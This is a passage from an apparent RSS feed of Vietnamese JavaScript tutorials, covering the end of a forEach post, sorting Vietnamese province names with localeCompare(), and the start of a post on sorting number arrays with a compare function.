class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Xem đáp án:</p> <ul> <li>Hàm <a href="https://github.com/completejavascript/practical-javascript/blob/master/iteration/every-prototype-completejavascript.com.js"><code>every</code></a></li> <li>Hàm <a href="https://github.com/completejavascript/practical-javascript/blob/master/iteration/some-prototype-completejavascript.com.js"><code>some</code></a></li> </ul> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Trên đây là một số kiến thức cơ bản về forEach trong JavaScript.</p> <p>Hy vọng qua bài viết này bạn hiểu được forEach JavaScript là gì? Cách sử dụng forEach và khi nào nên sử dụng forEach JS.</p> <p>Tham khảo: <a href="http://eloquentjavascript.net/05_higher_order.html">Higher-Order Functions</a></p>[email protected]<![CDATA[Sắp xếp Tiếng Việt trong JavaScript]]><![CDATA[Sắp xếp là một bài toán không thể thiếu trong lập trình. Tuy nhiên, nhiều bạn vẫn đang gặp khó khăn với việc sắp xếp Tiếng việt trong JavaScript. Vì vậy, mình sẽ giới thiệu với bạn…]]>https://completejavascript.com/sap-xep-tieng-viet-javascript/https://completejavascript.com/sap-xep-tieng-viet-javascript/<![CDATA[Array]]><![CDATA[Kiểu dữ liệu]]>Thu, 01 Jun 2017 06:00:00 GMT<p>Sắp xếp là một bài toán không thể thiếu trong lập trình. Tuy nhiên, nhiều bạn vẫn đang gặp khó khăn với việc <strong>sắp xếp Tiếng việt trong JavaScript</strong>.</p> <p>Vì vậy, mình sẽ giới thiệu với bạn về cách mình giải quyết bài toán sắp xếp Tiếng Việt này.</p> <h2 id="nhắc-lại-hàm-sort-trong-javascript" style="position:relative;"><a href="#nh%E1%BA%AFc-l%E1%BA%A1i-h%C3%A0m-sort-trong-javascript" aria-label="nhắc lại hàm sort trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nhắc lại hàm <code>sort()</code> trong JavaScript</h2> <p>Trong bài viết về <a href="/sap-xep-mang-trong-javascript/">sắp xếp mảng</a>, mình đã giới thiệu với bạn khá chi tiết về hàm <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort">sort()</a> và cách triển khai một số <a href="/tag/thuat-toan/">thuật toán</a> sắp xếp cơ bản.</p> <p>Bây giờ, mình sẽ nhắc lại hàm <code>sort()</code> một chút cho bạn tiện theo dõi. Vì phần sau đây sử dụng hàm này để sắp xếp Tiếng Việt trong JavaScript.</p> <p>Cú pháp cơ bản của hàm <code>sort(compareFunction)</code> là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">arr<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span>compareFunction<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>► Tham số <code>compareFunction</code>:</p> <ul> <li>Là <a href="/ham-la-gi-ham-trong-javascript/">hàm</a> dùng để xác định thứ tự sắp xếp.</li> <li>Nếu bạn bỏ qua tham số này, mặc định JavaScript sẽ sắp xếp theo thứ tự tăng dần trong bảng mã Unicode (đơn giản là thứ tự tăng dần bảng chữ cái).</li> <li>Ý nghĩa đối với thứ tự sắp xếp: <ul> <li>Nếu hàm <code>compareFunction(a, b)</code> trả về giá trị nhỏ hơn <code>0</code> thì <code>a</code> sẽ đứng trước <code>b</code>.</li> <li>Nếu hàm <code>compareFunction(a, b)</code> trả về giá trị lớn hơn <code>0</code> thì <code>a</code> sẽ đứng sau <code>b</code>.</li> <li>Nếu hàm <code>compareFunction(a, b)</code> trả về giá trị bằng <code>0</code> thì giữ nguyên thứ tự <code>a</code>, <code>b</code>.</li> </ul> </li> </ul> <p>► Giá trị trả về:</p> <ul> <li>Là <a href="/array-la-gi-array-trong-javascript/">mảng</a> đã được sắp xếp.</li> <li>Mảng ban đầu có bị thay đổi.</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"c"</span><span class="token punctuation">,</span> <span class="token string">"g"</span><span class="token punctuation">,</span> <span class="token string">"w"</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> b <span class="token operator">=</span> a<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ["a", "c", "g", "w"]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ["a", "c", "g", "w"]</span></code></pre></div> <p>Trên đây là những kiến thức cơ bản về cách sử dụng hàm <code>sort()</code> trong JavaScript. Tiếp theo, mình bắt đầu áp dụng hàm <code>sort()</code> để sắp xếp Tiếng Việt trong JavaScript.</p> <h2 id="sắp-xếp-tiếng-việt-trong-javascript" style="position:relative;"><a href="#s%E1%BA%AFp-x%E1%BA%BFp-ti%E1%BA%BFng-vi%E1%BB%87t-trong-javascript" aria-label="sắp xếp tiếng việt trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sắp xếp Tiếng Việt trong JavaScript</h2> <h3 id="đặt-bài-toán" style="position:relative;"><a href="#%C4%91%E1%BA%B7t-b%C3%A0i-to%C3%A1n" aria-label="đặt bài toán permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đặt bài toán</h3> <p>Giả sử mình có một mảng string Tiếng Việt là tên một số tỉnh thành tại Việt Nam:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> provinces <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token string">"Hà Giang"</span><span class="token punctuation">,</span> <span class="token string">"Hà Nam"</span><span class="token punctuation">,</span> <span class="token string">"Hà Nội"</span><span class="token punctuation">,</span> <span class="token string">"Hà Tĩnh"</span><span class="token punctuation">,</span> <span class="token string">"Hòa Bình"</span><span class="token punctuation">,</span> <span class="token string">"Hưng Yên"</span><span class="token punctuation">,</span> <span class="token string">"Hải Dương"</span><span class="token punctuation">,</span> <span class="token string">"Hải Phòng"</span><span class="token punctuation">,</span> <span class="token string">"Hậu Giang"</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <p>Mình cần sắp xếp các tên này theo thứ tự tăng dần của bảng chữ cái Tiếng Việt. Kết quả mong muốn thu được là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> sorted <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token string">"Hà Giang"</span><span class="token punctuation">,</span> <span class="token string">"Hà Nam"</span><span class="token punctuation">,</span> <span class="token string">"Hà Nội"</span><span class="token punctuation">,</span> <span class="token string">"Hà Tĩnh"</span><span class="token punctuation">,</span> <span class="token string">"Hải Dương"</span><span class="token punctuation">,</span> <span class="token string">"Hải Phòng"</span><span class="token punctuation">,</span> <span class="token string">"Hậu Giang"</span><span class="token punctuation">,</span> <span class="token string">"Hòa Bình"</span><span class="token punctuation">,</span> <span class="token string">"Hưng Yên"</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <h3 id="sắp-xếp-tiếng-việt-bằng-hàm-sort-thông-thường" style="position:relative;"><a href="#s%E1%BA%AFp-x%E1%BA%BFp-ti%E1%BA%BFng-vi%E1%BB%87t-b%E1%BA%B1ng-h%C3%A0m-sort-th%C3%B4ng-th%C6%B0%E1%BB%9Dng" aria-label="sắp xếp tiếng việt bằng hàm sort thông thường permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sắp xếp Tiếng Việt bằng hàm <code>sort()</code> thông thường</h3> <p>Trước tiên, mình thử sắp xếp mảng trên bằng hàm <code>sort()</code> thông thường.</p> <p>Vì mặc định hàm <code>sort()</code> sẽ sắp xếp string theo thứ tự tăng dần nên mình không cần truyền vào <strong>compareFunction</strong>.</p> <p>Do đó, kết quả thu được như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> result <span class="token operator">=</span> provinces<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* [ "Hà Giang", "Hà Nam", "Hà Nội", "Hà Tĩnh", "Hòa Bình", "Hưng Yên", "Hải Dương", "Hải Phòng", "Hậu Giang" ] */</span></code></pre></div> <p>Kết quả trên là <strong>sai so với mong muốn ban đầu</strong>. Vậy mình phải làm sao đây?</p> <h3 id="sắp-xếp-tiếng-việt-trong-javascript-với-localecompare" style="position:relative;"><a href="#s%E1%BA%AFp-x%E1%BA%BFp-ti%E1%BA%BFng-vi%E1%BB%87t-trong-javascript-v%E1%BB%9Bi-localecompare" aria-label="sắp xếp tiếng việt trong javascript với localecompare permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sắp xếp Tiếng Việt trong JavaScript với <code>localeCompare()</code></h3> <p>Nguyên nhân hàm <code>sort()</code> trên thực hiện sai là vì nó đang so sánh string với Tiếng Anh. Vì vậy, mấu chốt của vấn đề là: làm sao có thể so sánh string với Tiếng Việt để đưa vào hàm <code>sort()</code>?</p> <p>Câu trả lời là: sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/localeCompare"><code>localeCompare()</code></a> với cú pháp cơ bản là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">a<span class="token punctuation">.</span><span class="token function">localeCompare</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Có 3 trường hợp xảy ra với kết quả trả về:</p> <ul> <li>Nếu kết quả trả về nhỏ hơn <code>0</code> thì <code>a</code> sẽ đứng trước <code>b</code>.</li> <li>Nếu kết quả trả về lớn hơn <code>0</code> thì <code>a</code> sẽ đứng sau <code>b</code>.</li> <li>Nếu kết quả trả về bằng <code>0</code> thì <code>a</code> và <code>b</code> giống nhau.</li> </ul> <p>Thật là trùng hợp, cách hoạt động của phương thức <code>localeCompare()</code> lại hoàn toàn giống với <code>compareFunction</code> bên trên. Vì vậy, mình có thể áp dụng ngay để sắp xếp Tiếng Việt như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> result <span class="token operator">=</span> provinces<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token operator">=></span> a<span class="token punctuation">.</span><span class="token function">localeCompare</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* [ "Hà Giang", "Hà Nam", "Hà Nội", "Hà Tĩnh", "Hải Dương", "Hải Phòng", "Hậu Giang", "Hòa Bình", "Hưng Yên" ] */</span></code></pre></div> <p>Kết quả thu được bây giờ hoàn toàn đúng với mong đợi.</p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Như vậy là mình đã sắp xếp Tiếng Việt trong JavaScript một cách đơn giản rồi phải không?</p> <p>Ngoài cách làm trên ra, bạn còn biết phương pháp nào khác để sắp xếp Tiếng Việt trong JavaScript không?</p> <p>Nếu có thì bạn hãy chia sẻ dưới phần bình luận nhé!</p>[email protected]<![CDATA[Sắp xếp mảng trong JavaScript]]><![CDATA[Bài viết sau đây tập trung tìm hiểu về phương thức sắp xếp mảng trong JavaScript. Và cách triển khai một số thuật toán sắp xếp mảng cơ bản. Nói về sắp xếp mảng thì đây là một vấn…]]>https://completejavascript.com/sap-xep-mang-trong-javascript/https://completejavascript.com/sap-xep-mang-trong-javascript/<![CDATA[Array]]><![CDATA[Thuật toán]]><![CDATA[Kiểu dữ liệu]]>Tue, 30 May 2017 14:39:44 GMT<p>Bài viết sau đây tập trung tìm hiểu về <strong>phương thức sắp xếp mảng trong JavaScript</strong>. Và cách triển khai một số <strong>thuật toán sắp xếp mảng cơ bản</strong>.</p> <p>Nói về sắp xếp mảng thì đây là một vấn đề vô cùng phổ biến trong các chương trình. Nhiều ứng dụng (từ điển, danh bạ, quản lý tài khoản,...) thường có chức năng sắp xếp theo thứ tự từ điển (a-z). Việc sắp xếp giúp người quản lý và người dùng dễ dàng tìm kiếm nội dung hơn.</p> <blockquote> <p>Hiện tại có rất nhiều thuật toán sắp xếp với độ phức tạp khác nhau.</p> <p>Ví dụ các thuật toán sắp xếp mảng là: selection sort, insertion sort, binary insertion sort, interchange sort, bubble sort, shaker sort, quick sort, merge sort, heap sort,...</p> <p>Có thể bạn quan tâm:</p> <ul> <li><a href="http://thuattoan.phamvanlam.com/tong-hop-mot-so-thuat-toan-co-ban-ve-sap-xep-phan-1">Tổng hợp một số thuật toán cơ bản về sắp xếp - Phần 1</a></li> <li><a href="http://thuattoan.phamvanlam.com/tong-hop-mot-so-thuat-toan-co-ban-ve-sap-xep-phan-2">Tổng hợp một số thuật toán cơ bản về sắp xếp - Phần 2</a></li> </ul> </blockquote> <p>Bạn không cần thiết phải viết lại lại những thuật toán sắp xếp này. Vì JavaScript hỗ trợ sẵn một <a href="/ham-la-gi-ham-trong-javascript/">function</a> để sắp xếp.</p> <h2 id="cú-pháp-hàm-sắp-xếp-mảng-trong-javascript" style="position:relative;"><a href="#c%C3%BA-ph%C3%A1p-h%C3%A0m-s%E1%BA%AFp-x%E1%BA%BFp-m%E1%BA%A3ng-trong-javascript" aria-label="cú pháp hàm sắp xếp mảng trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cú pháp hàm sắp xếp mảng trong JavaScript</h2> <p>Hàm sắp xếp mảng trong JavaScript là <code>sort()</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">arr<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> arr<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span>compareFunction<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>► Tham số <code>compareFunction</code>:</p> <ul> <li>Dùng để xác định thứ tự sắp xếp.</li> <li>Nếu bạn bỏ qua tham số này, mặc định JavaScript sẽ sắp xếp mảng theo thứ tự tăng dần trong bảng mã Unicode (hay đơn giản là thứ tự tăng dần bảng chữ cái).</li> </ul> <p>► Giá trị trả về:</p> <ul> <li>Là mảng đã được sắp xếp.</li> <li>Mảng ban đầu có bị thay đổi.</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"c"</span><span class="token punctuation">,</span> <span class="token string">"g"</span><span class="token punctuation">,</span> <span class="token string">"w"</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> a<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ["a", "c", "g", "w"]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ["a", "c", "g", "w"]</span></code></pre></div> <h2 id="tìm-hiểu-comparefunction" style="position:relative;"><a href="#t%C3%ACm-hi%E1%BB%83u-comparefunction" aria-label="tìm hiểu comparefunction permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tìm hiểu compareFunction</h2> <p>Hàm <code>compareFunction</code> dùng để xác định <strong>thứ tự sắp xếp mảng</strong>.</p> <p>Giả sử, <code>a</code> và <code>b</code> là hai phần tử dùng để so sánh:</p> <ul> <li>Nếu hàm <code>compareFunction(a, b)</code> trả về giá trị nhỏ hơn <code>0</code> thì <code>a</code> sẽ đứng trước <code>b</code>.</li> <li>Nếu hàm <code>compareFunction(a, b)</code> trả về giá trị lớn hơn <code>0</code> thì <code>a</code> sẽ đứng sau <code>b</code>.</li> <li>Nếu hàm <code>compareFunction(a, b)</code> trả về giá trị bằng <code>0</code> thì giữ nguyên thứ tự <code>a</code>, <code>b</code>.</li> </ul> <h2 id="sắp-xếp-mảng-number" style="position:relative;"><a href="#s%E1%BA%AFp-x%E1%BA%BFp-m%E1%BA%A3ng-number" aria-label="sắp xếp mảng number permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sắp xếp mảng number</h2> <p>JavaScript hỗ trợ <strong>sắp xếp nhiều kiểu dữ liệu</strong>. Tuy nhiên, phổ biến nhất vẫn là <a href="/kieu-du-lieu-trong-javascript/">numbers</a>.</p> <p>Và như mình đã nói ở trên, mặc định hàm <code>sort()</code> sẽ so sánh theo kiểu string để sắp xếp. Do đó, kết quả sẽ như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">,</span> <span class="token number">100</span><span class="token punctuation">,</span> <span class="token number">45</span><span class="token punctuation">,</span> <span class="token number">33</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [100, 33, 45, 9]</span></code></pre></div> <p>Kết quả trên là <strong>hoàn toàn chính xác</strong>. Vì khi so sánh theo kiểu string thì thứ tự là: <code>'1' &#x3C; '3' &#x3C; '4' &#x3C; '9'</code>.</p> <p>Vì vậy, để sắp xếp chúng theo kiểu <strong>numbers</strong> thì bạn cần phải sử dụng hàm <code>compareFunction</code>.</p> <h3 id="sử-dụng-hàm-comparenumbers-sắp-xếp-theo-thứ-tự-tăng-dần" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-h%C3%A0m-comparenumbers-s%E1%BA%AFp-x%E1%BA%BFp-theo-th%E1%BB%A9-t%E1%BB%B1-t%C4%83ng-d%E1%BA%A7n" aria-label="sử dụng hàm comparenumbers sắp xếp theo thứ tự tăng dần permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng hàm <code>compareNumbers</code> sắp xếp theo thứ tự tăng dần</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">compareNumbers</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> a <span class="token operator">-</span> b<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">,</span> <span class="token number">100</span><span class="token punctuation">,</span> <span class="token number">45</span><span class="token punctuation">,</span> <span class="token number">33</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span>compareNumbers<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [9, 33, 45, 100]</span></code></pre></div> <p>Khi <code>a</code> nhỏ hơn <code>b</code> thì <code>a - b &#x3C; 0</code> là <code>true</code>. Theo đúng mô tả của hàm <code>compareFunction</code> thì suy ra <code>a</code> sẽ đứng trước <code>b</code>.</p> <p>Nghĩa là số nhỏ hơn sẽ đứng trước. Áp dụng quy tắc này, ta được mảng các số <strong>sắp xếp theo thứ tự tăng dần</strong>.</p> <p>Ngoài cách viết <strong>hàm độc lập</strong> như trên, bạn có thể áp dụng <a href="/arrow-function-la-gi-arrow-function-trong-js/">arrow function</a> cho ngắn gọn:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">,</span> <span class="token number">100</span><span class="token punctuation">,</span> <span class="token number">45</span><span class="token punctuation">,</span> <span class="token number">33</span><span class="token punctuation">]</span><span class="token punctuation">;</span> a<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token operator">=></span> a <span class="token operator">-</span> b<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [9, 33, 45, 100]</span></code></pre></div> <h3 id="sắp-xếp-mảng-numbers-theo-thứ-tự-giảm-dần" style="position:relative;"><a href="#s%E1%BA%AFp-x%E1%BA%BFp-m%E1%BA%A3ng-numbers-theo-th%E1%BB%A9-t%E1%BB%B1-gi%E1%BA%A3m-d%E1%BA%A7n" aria-label="sắp xếp mảng numbers theo thứ tự giảm dần permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 